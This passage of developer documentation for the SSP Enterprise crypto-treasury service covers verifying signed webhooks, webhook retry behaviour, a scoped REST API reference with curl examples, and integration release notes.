    .update(`${t}.${rawBody}`) // rawBody is a string/Buffer of the exact bytes
    .digest('hex');

  // Constant-time compare.
  const a = Buffer.from(expected, 'hex');
  const b = Buffer.from(v1, 'hex');
  return a.length === b.length && crypto.timingSafeEqual(a, b);
}
```

### Python

```python
import hashlib
import hmac
import time


def verify_ssp_webhook(raw_body: bytes, signature_header: str, signing_secret: str) -> bool:
    parts = dict(kv.split("=", 1) for kv in signature_header.split(","))
    try:
        t = int(parts["t"])
        v1 = parts["v1"]
    except (KeyError, ValueError):
        return False

    # Replay tolerance: reject if the timestamp is more than 5 minutes off.
    if abs(int(time.time()) - t) > 5 * 60:
        return False

    signed_payload = f"{t}.".encode() + raw_body  # raw_body must be the exact bytes
    expected = hmac.new(
        signing_secret.encode(), signed_payload, hashlib.sha256
    ).hexdigest()

    return hmac.compare_digest(expected, v1)
```

> **Use the raw body, not a re-serialized object.** Frameworks that auto-parse JSON will not give you back byte-identical input. Capture the raw bytes before parsing (for example, `express.raw()` in Express, or `request.body` in Flask) and verify against those.

## Delivery, retries, and idempotency

* **Return `2xx` quickly.** SSP treats any `2xx` response as a successful delivery. Acknowledge first, then do slow work asynchronously — your endpoint should respond well within a few seconds.
* **Retries use exponential backoff.** A non-`2xx` response, a timeout, or a connection error is retried with increasing delays. The current attempt number is in the `SSP-Delivery-Attempt` header (starts at `1`).
* **Deliveries are idempotent — deduplicate on `SSP-Event-Id`.** A retry reuses the same `SSP-Event-Id` (also the top-level `id` in the body). Because retries can arrive after a delivery your server actually processed (but failed to acknowledge in time), treat `SSP-Event-Id` as an idempotency key and ignore IDs you have already handled.
* **Redirects are never followed.** SSP posts directly to the URL you registered. A `3xx` response is treated as a failed delivery, not a redirect to follow — register the final URL.
* **Subscriptions auto-disable after sustained failure.** If an endpoint keeps failing across many consecutive deliveries, SSP automatically disables the subscription to stop hammering a dead endpoint. You'll see it as **Auto-disabled** in **Settings → Developers → Webhooks**; fix the endpoint and re-enable it there. The per-subscription **Delivery Log** shows recent attempts, HTTP status, and error reason to help you debug.

## Testing a subscription

After creating a subscription, use **Send test** in **Settings → Developers → Webhooks** to deliver a synthetic event to your endpoint. The test payload is signed with the same scheme as real events, so it's the quickest way to validate your verification code end to end.

## Security notes

* **HTTPS only.** Webhook URLs must be `https://`. Plaintext `http://` endpoints are rejected.
* **Keep the signing secret secret.** It is shown only once at creation. If it leaks, delete the subscription and create a new one — there is no way to recover a lost secret, and rotating means creating a fresh subscription.
* **Always verify before trusting.** Anyone who learns your URL can `POST` to it; only requests with a valid `SSP-Signature` (and a fresh timestamp) are genuinely from SSP.
* **Payloads are metadata-only.** They contain nothing that isn't already visible to your team in the app, so a webhook endpoint never becomes a path to keys or signing material.

## Next steps

* [**Proposing & Signing Transactions**](/docs/ssp-enterprise/transactions) — the proposal lifecycle that drives these events
* [**Configuring Policy Controls**](/docs/ssp-enterprise/policies) — guardrails that may add `proposal.needs_signature` (admin approval) steps


# Enterprise API

The SSP Enterprise API gives your own systems programmatic access to your organization's vaults, balances, transactions, proposals, and portfolio analytics. Use it to feed an internal dashboard, reconcile balances, monitor proposal status, or export data into your own tooling — without logging into the app. Read access is read-only; a single optional write scope lets automation **create a proposal** that still requires your normal signatures to execute.

> **A key can never move funds.** The read scopes are `GET`-only. The write scopes only ever queue or configure — never sign, approve, or broadcast: `proposals:write` can **create a pending proposal**, `policies:write` can adjust a vault's spending *rules*, `vaults:write` can create/configure vaults, and `contacts:write` edits a labelling address book. Every proposal, however it was created, still requires the vault's M-of-N device signatures (each signed by both SSP Wallet and SSP Key) to execute. So a leaked key can, at most, *propose* a payment your signers must then approve in the app — it can never move money or change ownership. This is the core safety property of the API, enforced by construction.

## Base URL

```
https://relay.sspwallet.com/v1/api
```

## Authentication

The Enterprise API authenticates with a **bearer API key**. Send it in the `Authorization` header on every request:

```
Authorization: Bearer ssp_live_<your key>
```

A key looks like `ssp_live_` followed by a long random string, for example:

```
ssp_live_a1B2c3D4e5F6g7H8i9J0k1L2m3N4o5P6q7R8s9T0u1V2
```

If the header is missing, malformed, points to a revoked or expired key, or lacks the scope required by the endpoint, the request is rejected — see [Errors](#errors).

### The organization is derived from the key

An API key belongs to exactly **one organization**, and that organization is taken from the key itself — never from the URL or any request parameter. A key issued for organization A can only ever read organization A's data; it can never read, reference, or even discover another organization. There is no organization ID to pass, and no way to widen a key's reach by changing the request.

### Creating a key

API keys are created and managed inside the SSP Enterprise app, under **Settings → Developers → API Keys**.

* Only **owners and admins** of the organization can create or revoke API keys. Members and viewers cannot.
* When you create a key you choose a **name** (for your own reference, e.g. "Grafana read-only") and select which [scopes](#scopes) it should have.
* The full key is **shown only once**, at creation time. SSP stores only a SHA-256 hash of it and can never show it again. Copy it into your secret manager immediately. If you lose it, revoke it and create a new one.
* For identification, the app displays only a short **prefix** of the key (e.g. `ssp_live_a1b2`) alongside its name, scopes, status, and last-used time.

### Revoking a key

From the same **Settings → Developers → API Keys** screen, an owner or admin can revoke any key. Revocation is **immediate** — the key is checked against its status on every request, so the next call made with a revoked key fails with `401`. Revocation cannot be undone; create a new key if you need access again.

Keep your keys secret. Treat `ssp_live_...` like a password: never commit it to source control, embed it in a frontend bundle, or paste it into a browser. A leaked key can read one organization's data and, if it has the `proposals:write` scope, create a *pending* proposal — but it can never sign, move funds, or change settings, because execution always requires your vault's device signatures.

## Scopes

Each key carries a set of **scopes**. Every endpoint requires one specific scope; if the key doesn't have it, the request fails with `403`. Grant a key only the scopes it actually needs.

| Scope               | Grants read access to                                                     |
| ------------------- | ------------------------------------------------------------------------- |
| `org:read`          | Your organization's profile                                               |
| `vaults:read`       | The list of vaults and individual vault details                           |
| `balances:read`     | Per-vault balances                                                        |
| `transactions:read` | Per-vault transaction history                                             |
| `proposals:read`    | Per-vault transaction proposals                                           |
| `analytics:read`    | Aggregated portfolio analytics                                            |
| `contacts:read`     | Your organization's saved address book                                    |
| `policies:read`     | Vault & org policies, policy rules, approval groups, and policy templates |

| Write scope       | Grants                                                                                       |
| ----------------- | -------------------------------------------------------------------------------------------- |
| `proposals:write` | Create or cancel a **pending** proposal on a vault — never signs or moves funds              |
| `contacts:write`  | Manage the organization address book (create / update / delete contacts)                     |
| `policies:write`  | Update a vault's spending policy (limits, whitelist, rules) — a control, not a fund movement |
| `vaults:write`    | Create and configure vaults, and manage vault tag definitions — never signs or moves funds   |

The read scopes are read-only. The write scopes never sign, approve, broadcast, or move funds: `proposals:write` can only create or cancel a pending proposal (which still requires your vault's device signatures to execute), `contacts:write` only edits a labelling address book that has no effect on policy, `policies:write` only tightens or loosens a vault's spending *rules*, and `vaults:write` only creates or configures vaults (a vault created this way holds no funds until you fund it, and still needs its M-of-N devices to spend). None can move money or approve a proposal. A `policies:write` key's creator must be an admin of the vault it targets; `vaults:write` requires an organization admin. Creating a key with any write scope requires the **Pro plan or higher**.

## Response format

Every response uses the standard SSP envelope:

```json
{ "status": "success", "data": { } }
```

On error, `status` is `"error"` and `data` describes the problem — see [Errors](#errors).

## Pagination

List endpoints (vaults, transactions, proposals) use **cursor-based pagination**:

* `limit` — how many items to return per page. The default is 20 and the maximum is **100**; larger values are clamped to 100.
* `cursor` — an opaque token. Omit it on the first request; pass the `nextCursor` from a response to fetch the next page.

Each paginated response includes a `pagination` object:

```json
{
  "status": "success",
  "data": {
    "items": [ ],
    "pagination": {
      "limit": 20,
      "nextCursor": "eyJpZCI6IjY1YS4uLiJ9",
      "hasMore": true
    }
  }
}
```

When `hasMore` is `false`, `nextCursor` is `null` and you've reached the end. Treat the cursor as opaque — its contents may change, so don't parse or construct it yourself.

Example: fetch the next page of transactions:

```bash
curl https://relay.sspwallet.com/v1/api/vaults/VAULT_ID/transactions?limit=50&cursor=eyJpZCI6IjY1YS4uLiJ9 \
  -H "Authorization: Bearer ssp_live_..."
```

## Rate limits

Requests are rate limited **per API key** (with an additional global per-IP limit). The read API allows roughly **60 requests per minute per key**, with a short burst allowance above that. If you exceed the limit, you receive a `429` response; back off and retry after a short delay. Batch and cache where you can rather than polling tightly.

## Endpoints

All endpoints are `GET` and require the `Authorization: Bearer` header. Path parameters such as `:vaultId` and `:proposalId` are the IDs returned by the list endpoints.

***

### Get organization

```
GET /v1/api/org
```

Scope: `org:read`

Returns the profile of the organization the key belongs to.

```bash
curl https://relay.sspwallet.com/v1/api/org \
  -H "Authorization: Bearer ssp_live_..."
```

```json
{
  "status": "success",
  "data": {
    "id": "65a1b2c3d4e5f60718293a4b",
    "name": "Acme Treasury",
    "orgIndex": 1024,
    "createdAt": "2026-01-12T09:30:00Z",
    "memberCount": 6,
    "vaultCount": 3
  }
}
```

***

### List vaults

```
GET /v1/api/vaults
```

Scope: `vaults:read`

Lists the vaults in your organization. Paginated.

```bash
curl https://relay.sspwallet.com/v1/api/vaults?limit=20 \
  -H "Authorization: Bearer ssp_live_..."
```

```json
{
  "status": "success",
  "data": {
    "items": [
      {
        "id": "70c1f2a3b4c5d6e7f8091a2b",
        "name": "Treasury — BTC",
        "chain": "btc",
        "threshold": 2,
        "signerCount": 3,
        "status": "active",
        "createdAt": "2026-02-01T14:00:00Z"
      }
    ],
    "pagination": { "limit": 20, "nextCursor": null, "hasMore": false }
  }
}
```

***

### Get a vault

```
GET /v1/api/vaults/:vaultId
```

Scope: `vaults:read`

Returns full details for a single vault in your organization.

```bash
curl https://relay.sspwallet.com/v1/api/vaults/70c1f2a3b4c5d6e7f8091a2b \
  -H "Authorization: Bearer ssp_live_..."
```

```json
{
  "status": "success",
  "data": {
    "id": "70c1f2a3b4c5d6e7f8091a2b",
    "name": "Treasury — BTC",
    "chain": "btc",
    "threshold": 2,
    "signers": [
      { "wkIdentity": "...", "role": "owner" },
      { "wkIdentity": "...", "role": "admin" },
      { "wkIdentity": "...", "role": "member" }
    ],
    "addressCount": 12,
    "status": "active",
    "createdAt": "2026-02-01T14:00:00Z"
  }
}
```

***

### Get vault balances

```
GET /v1/api/vaults/:vaultId/balances
```

Scope: `balances:read`

Returns the current balances for a vault.

```bash
curl https://relay.sspwallet.com/v1/api/vaults/70c1f2a3b4c5d6e7f8091a2b/balances \
  -H "Authorization: Bearer ssp_live_..."
```

```json
{
  "status": "success",
  "data": {
    "vaultId": "70c1f2a3b4c5d6e7f8091a2b",
    "chain": "btc",
    "balances": [
      {
        "asset": "BTC",
        "amount": "1.42500000",
        "decimals": 8,
        "fiatValue": "98250.00",
        "fiatCurrency": "USD"
      }
    ],
    "totalFiatValue": "98250.00",
    "asOf": "2026-06-24T10:00:00Z"
  }
}
```

***

### List vault transactions

```
GET /v1/api/vaults/:vaultId/transactions
```

Scope: `transactions:read`

Lists the transaction history for a vault, newest first. Paginated.

```bash
curl https://relay.sspwallet.com/v1/api/vaults/70c1f2a3b4c5d6e7f8091a2b/transactions?limit=50 \
  -H "Authorization: Bearer ssp_live_..."
```

```json
{
  "status": "success",
  "data": {
    "items": [
      {
        "txid": "9f8e7d6c5b4a39281706f5e4d3c2b1a0...",
        "chain": "btc",
        "direction": "outgoing",
        "amount": "0.50000000",
        "asset": "BTC",
        "fee": "0.00002100",
        "confirmations": 124,
        "timestamp": "2026-06-20T08:15:00Z",
        "recipients": [
          { "address": "bc1q...", "amount": "0.50000000" }
        ]
      }
    ],
    "pagination": { "limit": 50, "nextCursor": "eyJpZCI6Ii4uLiJ9", "hasMore": true }
  }
}
```

***

### List vault proposals

```
GET /v1/api/vaults/:vaultId/proposals
```

Scope: `proposals:read`

Lists transaction proposals for a vault, newest first. Paginated.

```bash
curl https://relay.sspwallet.com/v1/api/vaults/70c1f2a3b4c5d6e7f8091a2b/proposals?limit=20 \
  -H "Authorization: Bearer ssp_live_..."
```

```json
{
  "status": "success",
  "data": {
    "items": [
      {
        "id": "81d2e3f4a5b6c7d8e9f0a1b2",
        "vaultId": "70c1f2a3b4c5d6e7f8091a2b",
        "chain": "btc",
        "amount": "0.50000000",
        "asset": "BTC",
        "status": "pending_signatures",
        "requiredSignatures": 2,
        "currentSignatures": 1,
        "recipients": [
          { "address": "bc1q...", "amount": "0.50000000" }
        ],
        "createdAt": "2026-06-23T12:00:00Z",
        "expiresAt": "2026-06-30T12:00:00Z"
      }
    ],
    "pagination": { "limit": 20, "nextCursor": null, "hasMore": false }
  }
}
```

***

### Get a proposal

```
GET /v1/api/vaults/:vaultId/proposals/:proposalId
```

Scope: `proposals:read`

Returns full details for a single proposal, including which signers have signed.

```bash
curl https://relay.sspwallet.com/v1/api/vaults/70c1f2a3b4c5d6e7f8091a2b/proposals/81d2e3f4a5b6c7d8e9f0a1b2 \
  -H "Authorization: Bearer ssp_live_..."
```

```json
{
  "status": "success",
  "data": {
    "id": "81d2e3f4a5b6c7d8e9f0a1b2",
    "vaultId": "70c1f2a3b4c5d6e7f8091a2b",
    "chain": "btc",
    "amount": "0.50000000",
    "asset": "BTC",
    "status": "pending_signatures",
    "requiredSignatures": 2,
    "currentSignatures": 1,
    "signatures": [
      { "wkIdentity": "...", "signedAt": "2026-06-23T12:05:00Z" }
    ],
    "recipients": [
      { "address": "bc1q...", "amount": "0.50000000" }
    ],
    "proposedBy": "...",
    "createdAt": "2026-06-23T12:00:00Z",
    "expiresAt": "2026-06-30T12:00:00Z"
  }
}
```

> Proposal details contain only the metadata already visible to your team inside the app. They never include private keys, raw signatures, nonces, xpubs, or witness scripts.

***

### Get portfolio analytics

```
GET /v1/api/analytics/portfolio
```

Scope: `analytics:read`

Returns aggregated portfolio analytics across all vaults in your organization.

```bash
curl https://relay.sspwallet.com/v1/api/analytics/portfolio \
  -H "Authorization: Bearer ssp_live_..."
```

```json
{
  "status": "success",
  "data": {
    "totalFiatValue": "312450.00",
    "fiatCurrency": "USD",
    "vaultCount": 3,
    "byChain": [
      { "chain": "btc", "fiatValue": "98250.00" },
      { "chain": "eth", "fiatValue": "214200.00" }
    ],
    "asOf": "2026-06-24T10:00:00Z"
  }
}
```

***

### Read policy configuration

Read back the policy configuration that the `policies:write` endpoints manage — useful for auditing, drift detection, or syncing config into your own systems.

```
GET /v1/api/vaults/:vaultId/policy         # vault policy         (policies:read)
GET /v1/api/vaults/:vaultId/policy-rules   # vault policy rules   (policies:read)
GET /v1/api/org/policy                     # org policy           (policies:read)
GET /v1/api/org/policy-rules               # org policy rules     (policies:read)
GET /v1/api/approval-groups                # approval groups      (policies:read)
GET /v1/api/policy-templates               # policy template catalog (policies:read)
```

Scope: `policies:read`. Org-scoped (the key determines the organization); no signing material is ever returned. Each mirrors the shape written by the corresponding `policies:write` endpoint, so config round-trips.

```bash
curl https://relay.sspwallet.com/v1/api/vaults/VAULT_ID/policy \
  -H "Authorization: Bearer ssp_live_..."
```

***

### Create a proposal

```
POST /v1/api/vaults/:vaultId/proposals
```

Scope: `proposals:write` · Requires the **Pro plan or higher**.

Creates a **pending** transaction proposal on a vault — the same object the app creates when a signer proposes a payment. The proposal is attributed to the wkIdentity that created the API key, who **must be a signer or admin on the target vault**. It runs through your organization's full policy engine (spending limits, whitelists, approval workflows, IP/geo rules) exactly like an app-created proposal.

This endpoint **only creates a proposal**. It never signs, approves, or broadcasts. The returned proposal has `status: "pending"` and an empty `signatures` list; it executes only once your vault's M-of-N signers approve it in SSP Wallet + SSP Key. A write key can propose a payment, never send one.

Body:

| Field                                           | Type             | Notes                                                                                                       |
| ----------------------------------------------- | ---------------- | ----------------------------------------------------------------------------------------------------------- |
| `recipients`                                    | array (required) | One or more `{ "address": "...", "amount": "1.5" }`. `amount` is a decimal string in the chain's main unit. |
| `memo`                                          | string           | Optional note stored with the proposal.                                                                     |
| `fee`, `feePerByte`, `gasPrice`, …              | —                | Optional chain-specific fee controls (same options as the app).                                             |
| `tokenContract`, `tokenSymbol`, `tokenDecimals` | —                | For ERC-20 transfers (EVM only); omit for native currency.                                                  |

The vault's chain is taken from the vault itself — you don't pass it.

```bash
curl -X POST https://relay.sspwallet.com/v1/api/vaults/VAULT_ID/proposals \
  -H "Authorization: Bearer ssp_live_..." \
  -H "Content-Type: application/json" \
  -d '{ "recipients": [{ "address": "bc1q...", "amount": "0.25" }], "memo": "Vendor payment" }'
```

```json
{
  "status": "success",
  "data": {
    "success": true,
    "proposal": {
      "id": "665f...",
      "vaultId": "665a...",
      "chain": "btc",
      "status": "pending",
      "requiredSignatures": 2,
      "signatureCount": 0,
      "recipients": [{ "address": "bc1q...", "amount": "0.25" }],
      "createdAt": "2026-07-09T10:00:00Z"
    }
  }
}
```

If the key's creator isn't a vault signer, a policy blocks the transfer, funds are insufficient, or the payload is invalid, the response is still `HTTP 200` but carries `data.success: false` with an `errorCode` such as `NOT_SIGNER`, `POLICY_BLOCKED`, `INSUFFICIENT_FUNDS`, or `INVALID_RECIPIENTS`. Write calls are rate-limited to **30 requests per minute per key**.

***

### Cancel a proposal

```
POST /v1/api/vaults/:vaultId/proposals/:proposalId/cancel
```

Scope: `proposals:write`

Cancels a **pending** proposal — the same as withdrawing it in the app. The key's creator must be the proposer or a vault admin. Cancelling only sets the proposal's status to `cancelled`; it moves no funds and cannot cancel a proposal that has already been signed and broadcast. Returns the updated proposal.

```bash
curl -X POST https://relay.sspwallet.com/v1/api/vaults/VAULT_ID/proposals/PROPOSAL_ID/cancel \
  -H "Authorization: Bearer ssp_live_..."
```

***

### Create a vault

```
POST /v1/api/vaults
```

Scope: `vaults:write` · Requires the **Pro plan or higher**. Creates a new vault in your organization. The key's creator must be an organization **admin or owner**. A vault created here holds no funds until you fund it, and spending always requires its M-of-N device signatures — creating one never moves money. Returns the new vault (same redacted shape as the read API).

```bash
curl -X POST https://relay.sspwallet.com/v1/api/vaults \
  -H "Authorization: Bearer ssp_live_..." \
  -H "Content-Type: application/json" \
  -d '{ "name": "Treasury", "description": "Main treasury vault" }'
```

### Update a vault

```
PUT /v1/api/vaults/:vaultId
```

Scope: `vaults:write`. Updates a vault's configuration (e.g. name, description, tags). Org admin/owner only. Returns the updated vault.

### Vault tags

Reusable tag definitions you can attach to vaults for organization and filtering.

```
POST   /v1/api/vault-tags          # create  (vaults:write)
PUT    /v1/api/vault-tags/:tagId   # update  (vaults:write)
DELETE /v1/api/vault-tags/:tagId   # delete  (vaults:write)
```

Scope: `vaults:write`. Org admin/owner only. Create takes `{ "name": "...", "description": "...", "color": "..." }` (color optional).

```bash
curl -X POST https://relay.sspwallet.com/v1/api/vault-tags \
  -H "Authorization: Bearer ssp_live_..." \
  -H "Content-Type: application/json" \
  -d '{ "name": "Operations", "description": "Day-to-day operational vaults" }'
```

***

### Update a vault policy

```
PUT /v1/api/vaults/:vaultId/policy
```

Scope: `policies:write` · Requires the **Pro plan or higher**.

Updates the vault's spending policy — transaction/aggregate limits, per-token limits, whitelist mode, time-lock, approval overrides, and other policy sections. A policy is a *control*, not a fund movement: changing it never signs, approves, or broadcasts anything, and existing proposals still require the vault's M-of-N device signatures to execute. The key's creator must be an **admin** of the target vault (org owner/admin, or a vault-level admin); otherwise the call returns `INSUFFICIENT_ROLE`.

The request body contains only the policy sections you want to change; omitted sections are left unchanged. Each section is validated server-side (for example, a vault limit may not be looser than the org default). Returns the updated policy.

```bash
curl -X PUT https://relay.sspwallet.com/v1/api/vaults/VAULT_ID/policy \
  -H "Authorization: Bearer ssp_live_..." \
  -H "Content-Type: application/json" \
  -d '{
    "aggregateLimits": { "perTransaction": { "usd": 5000 } }
  }'
```

***

### Policy rules

Policy rules are the programmable, ordered side of a vault's spending policy — each rule matches conditions on a proposal and applies an action (allow, block, require approval, time-lock). This is the "policy-as-code" surface: define your controls in your own systems and push them via the API.

```
POST   /v1/api/vaults/:vaultId/policy-rules          # create   (policies:write)
PUT    /v1/api/vaults/:vaultId/policy-rules/:ruleId  # update   (policies:write)
DELETE /v1/api/vaults/:vaultId/policy-rules/:ruleId  # delete   (policies:write)
POST   /v1/api/vaults/:vaultId/policy-rules/reorder  # reorder  (policies:write)
```

Scope: `policies:write` · Requires the **Pro plan or higher**. Rules are a *control*: they gate or route proposals, they never sign or move funds. The key's creator must be an **admin** of the target vault (org owner/admin, or a vault-level admin); otherwise the call returns `INSUFFICIENT_ROLE`. Each rule is validated server-side.

Reorder takes the full ordered list of rule ids: `{ "ruleIds": ["rule_c", "rule_a", "rule_b"] }`.

```bash
# Create a rule
curl -X POST https://relay.sspwallet.com/v1/api/vaults/VAULT_ID/policy-rules \
  -H "Authorization: Bearer ssp_live_..." \
  -H "Content-Type: application/json" \
  -d '{
    "name": "High-value approval",
    "conditions": [{ "field": "amountUsd", "operator": "gte", "value": 10000 }],
    "action": { "type": "require_approval" }
  }'

# Reorder rules (priority = array order)
curl -X POST https://relay.sspwallet.com/v1/api/vaults/VAULT_ID/policy-rules/reorder \
  -H "Authorization: Bearer ssp_live_..." \
  -H "Content-Type: application/json" \
  -d '{ "ruleIds": ["RULE_A", "RULE_B"] }'
```

***

### Vault whitelist

A vault's allowed-destination list and its enforcement mode. The whitelist is a control on **where** funds may go; editing it never signs or moves funds.

```
PUT    /v1/api/vaults/:vaultId/policy/whitelist/mode  # set mode   (policies:write)
POST   /v1/api/vaults/:vaultId/policy/whitelist        # add        (policies:write)
DELETE /v1/api/vaults/:vaultId/policy/whitelist        # remove     (policies:write)
```

Scope: `policies:write`. The key's creator must be an admin of the target vault. Mode takes `{ "mode": "disabled" | "warn" | "enforce" }`. Add takes `{ "address": "...", "label": "...", "chain": "..." }` (label/chain optional). Remove takes `{ "address": "..." }`. Each returns the updated policy.

```bash
curl -X POST https://relay.sspwallet.com/v1/api/vaults/VAULT_ID/policy/whitelist \
  -H "Authorization: Bearer ssp_live_..." \
  -H "Content-Type: application/json" \
  -d '{ "address": "0xRECIPIENT", "label": "Treasury", "chain": "eth" }'
```

***

### Update the organization policy

```
PUT /v1/api/org/policy
```

Scope: `policies:write` · Requires the **Pro plan or higher**. Updates the organization-wide default policy that every vault inherits — individual vaults may only make their policy **stricter**, never looser. The key's creator must be an organization **owner or admin**; otherwise the call returns `INSUFFICIENT_ROLE`. Body contains only the sections you want to change; returns the updated org policy.

```bash
curl -X PUT https://relay.sspwallet.com/v1/api/org/policy \
  -H "Authorization: Bearer ssp_live_..." \
  -H "Content-Type: application/json" \
  -d '{ "aggregateLimits": { "perTransaction": { "usd": 10000 } } }'
```

***

### Organization policy rules

The org-wide rule set every vault inherits — same shape as vault policy rules, but applied at the organization level.

```
POST   /v1/api/org/policy-rules          # create   (policies:write)
PUT    /v1/api/org/policy-rules/:ruleId  # update   (policies:write)
DELETE /v1/api/org/policy-rules/:ruleId  # delete   (policies:write)
POST   /v1/api/org/policy-rules/reorder  # reorder  (policies:write)
```

Scope: `policies:write`. The key's creator must be an organization **owner or admin**. Bodies match the vault policy-rule endpoints; reorder takes `{ "ruleIds": [...] }`.

***

### Organization per-chain policy

A stricter policy override for a specific chain (for example, tighter BTC limits than your org default).

```
PUT    /v1/api/org/chain-policy/:chain  # set/update  (policies:write)
DELETE /v1/api/org/chain-policy/:chain  # remove      (policies:write)
```

Scope: `policies:write`. Org owner/admin only. `:chain` is the chain identifier (e.g. `btc`, `eth`). Returns the updated org policy.

```bash
curl -X PUT https://relay.sspwallet.com/v1/api/org/chain-policy/btc \
  -H "Authorization: Bearer ssp_live_..." \
  -H "Content-Type: application/json" \
  -d '{ "aggregateLimits": { "perTransaction": { "usd": 2000 } } }'
```

***

### Approval groups

Named signer quorums (e.g. "Finance — 2 of 3") that policy rules reference to require multi-party approval. Managing a group defines **who** must approve; it never signs or moves funds.

```
POST   /v1/api/approval-groups            # create  (policies:write)
PUT    /v1/api/approval-groups/:groupId   # update  (policies:write)
DELETE /v1/api/approval-groups/:groupId   # delete  (policies:write)
```

Scope: `policies:write`. The key's creator must be an organization **owner or admin**. Body: `{ "name": "...", "description": "...", "members": ["wkIdentity", ...], "requiredApprovals": 2 }` (description optional). Returns the created/updated group. (Listing groups will arrive with a future `policies:read` scope.)

```bash
curl -X POST https://relay.sspwallet.com/v1/api/approval-groups \
  -H "Authorization: Bearer ssp_live_..." \
  -H "Content-Type: application/json" \
  -d '{ "name": "Finance", "members": ["WK_A", "WK_B", "WK_C"], "requiredApprovals": 2 }'
```

***

### Apply a policy template

```
POST /v1/api/vaults/:vaultId/apply-template
```

Scope: `policies:write` · Requires the **Pro plan or higher**. Materializes a built-in policy template (a curated set of rules, and optionally some flat policy fields) onto a vault in one call. The key's creator must be an **admin** of the vault. Body: `{ "templateId": "..." }`. Returns the created rules and any flat fields applied.

```bash
curl -X POST https://relay.sspwallet.com/v1/api/vaults/VAULT_ID/apply-template \
  -H "Authorization: Bearer ssp_live_..." \
  -H "Content-Type: application/json" \
  -d '{ "templateId": "tmpl_high_value_approval" }'
```

***

### Contacts (address book)

Your organization's saved recipient address book. Contacts are a convenience/labelling layer only — they are **not** whitelists and have no effect on policy enforcement or which addresses a proposal may pay. `contacts:read` lists them; `contacts:write` creates, updates, and deletes them.

```
GET    /v1/api/contacts        # list    (contacts:read)
POST   /v1/api/contacts        # create  (contacts:write)
PUT    /v1/api/contacts/:id    # update  (contacts:write)
DELETE /v1/api/contacts/:id    # delete  (contacts:write)
```

The list accepts optional `chain`, `search`, `limit`, and `skip` query parameters. Create body: `{ "chain": "btc", "name": "Vendor Inc", "address": "bc1q...", "notes": "optional" }`; update accepts any of `name`, `address`, `notes`.

```bash
# List
curl "https://relay.sspwallet.com/v1/api/contacts?chain=btc" \
  -H "Authorization: Bearer ssp_live_..."

# Create
curl -X POST https://relay.sspwallet.com/v1/api/contacts \
  -H "Authorization: Bearer ssp_live_..." \
  -H "Content-Type: application/json" \
  -d '{ "chain": "btc", "name": "Vendor Inc", "address": "bc1q..." }'
```

## Errors

Errors use the standard SSP envelope, with a machine-readable `name` and a human-readable `message`:

```json
{
  "status": "error",
  "data": {
    "code": 403,
    "name": "FORBIDDEN",
    "message": "API key is missing the required scope: vaults:read"
  }
}
```

| HTTP status | `name`           | Meaning                                                                                                                                                                           |
| ----------- | ---------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `400`       | `BAD_REQUEST`    | Malformed request — for example an invalid `cursor` or `limit`.                                                                                                                   |
| `401`       | `UNAUTHORIZED`   | Missing, malformed, revoked, or expired API key.                                                                                                                                  |
| `403`       | `FORBIDDEN`      | The key is valid but lacks the scope this endpoint requires.                                                                                                                      |
| `404`       | `NOT_FOUND`      | The requested vault or proposal doesn't exist **in your organization**. (A key can only ever see its own organization, so resources in other organizations also appear as `404`.) |
| `429`       | `RATE_LIMITED`   | You've exceeded the rate limit — back off and retry.                                                                                                                              |
| `500`       | `INTERNAL_ERROR` | Something went wrong on our side.                                                                                                                                                 |

## Frequently asked

**Can I create or sign a transaction with an API key?** A key with the `proposals:write` scope can **create a pending proposal**, but it can never **sign** one. Signing — and therefore actually moving funds — always happens in SSP Wallet + SSP Key with your vault's M-of-N devices. A read-only key can't even create a proposal. So no API key can move funds or change a setting; at most a write key can queue a payment for your signers to approve.

**Can one key read multiple organizations?** No. A key is bound to a single organization, derived from the key itself. To read another organization, create a key from inside that organization.

**I lost my key — can I recover it?** No. Keys are shown once and only a hash is stored. Revoke the lost key and create a new one.

**Who can create keys?** Only owners and admins of the organization, from **Settings → Developers → API Keys**.


# Integrations Release Notes

This release adds the **Integrations** capability to SSP Enterprise: per-user email notification preferences, Slack and signed-webhook delivery of vault-proposal events, and a read-only **Enterprise API** with scoped API keys. It also changes which proposal emails free-tier organizations receive. Read the [Behavior change](#behavior-change-free-tier-proposal-emails) section before upgrading.

## What's new

### Per-user email notification preferences

Each member can now control which proposal emails they receive from **Settings → Profile → Notifications**. Categories include proposal created, executed, rejected, failed, and expired. The **action-required** category (`proposal.needs_signature` — "a signer still needs to sign") is treated specially: it is always delivered so a pending signature is never silently dropped.

### Slack notifications

Organizations on a qualifying plan can connect a Slack **incoming webhook** under **Settings → Developers → Notifications**. Proposal lifecycle events are posted to the chosen channel. The Slack URL is itself a secret and is stored encrypted; it is never shown again after creation and never returned by the admin dashboard.

### Signed webhooks

Organizations can register an HTTPS endpoint and receive **signed** webhook deliveries for the event types they select. Each delivery carries an `SSP-Signature` header computed from a signing secret shown **once** at creation. Payloads are metadata-only — they never contain keys, signatures, nonces, xpubs, or witness scripts. See [Webhook Notifications](/docs/ssp-enterprise/webhooks) for the signing scheme and verification examples.

### Read-only Enterprise API + API keys

A new **read-only** API exposes orgs, vaults, balances, proposals, transactions, and portfolio analytics under `https://relay.sspwallet.com/v1/api`. Keys are minted, listed, and revoked from **Settings → Developers → API Keys**, and the full secret is shown only once at creation. Every endpoint is a `GET`; there is no way to move funds or change settings through an API key. See the [Enterprise API](/docs/ssp-enterprise/api) reference.

## Entitlement: Integrations (Pro and above)

Slack, webhooks, and the Enterprise API are gated by the **`integrations`** entitlement.

| Tier     | Integrations |
| -------- | ------------ |
| Free     | Off          |
| Starter  | Off          |
| Pro      | **On**       |
| Business | **On**       |

The entitlement is enforced both when a key or subscription is **created** and when a key is **used** / a notification is **dispatched**, so access tracks the org's current plan. If an organization downgrades below Pro, its existing keys and outbound subscriptions stop working.

## Behavior change: free-tier proposal emails

Previously, proposal emails were sent to every signer and member regardless of plan. With this release, **non-action-required proposal emails (created, executed, rejected, failed, expired) require the org's `emailNotifications` entitlement.**

* **Free-tier organizations will stop receiving** the informational proposal emails (created / executed / rejected / failed / expired).
* **Action-required emails stay free.** `proposal.needs_signature` is never gated — a signer is always emailed when their signature is needed, on every tier.

Communicate this to free-tier customers before rollout so the drop in informational emails is expected. Upgrading to Pro (or above) restores the full set, and individual members can further tune categories from their profile.

## Required ops step: `NOTIFICATION_ENC_KEY`

Slack URLs and webhook signing secrets are stored **encrypted at rest** (AES-256-GCM). The relay-enterprise service requires the following environment variable to be set in every environment that runs notification dispatch:

```
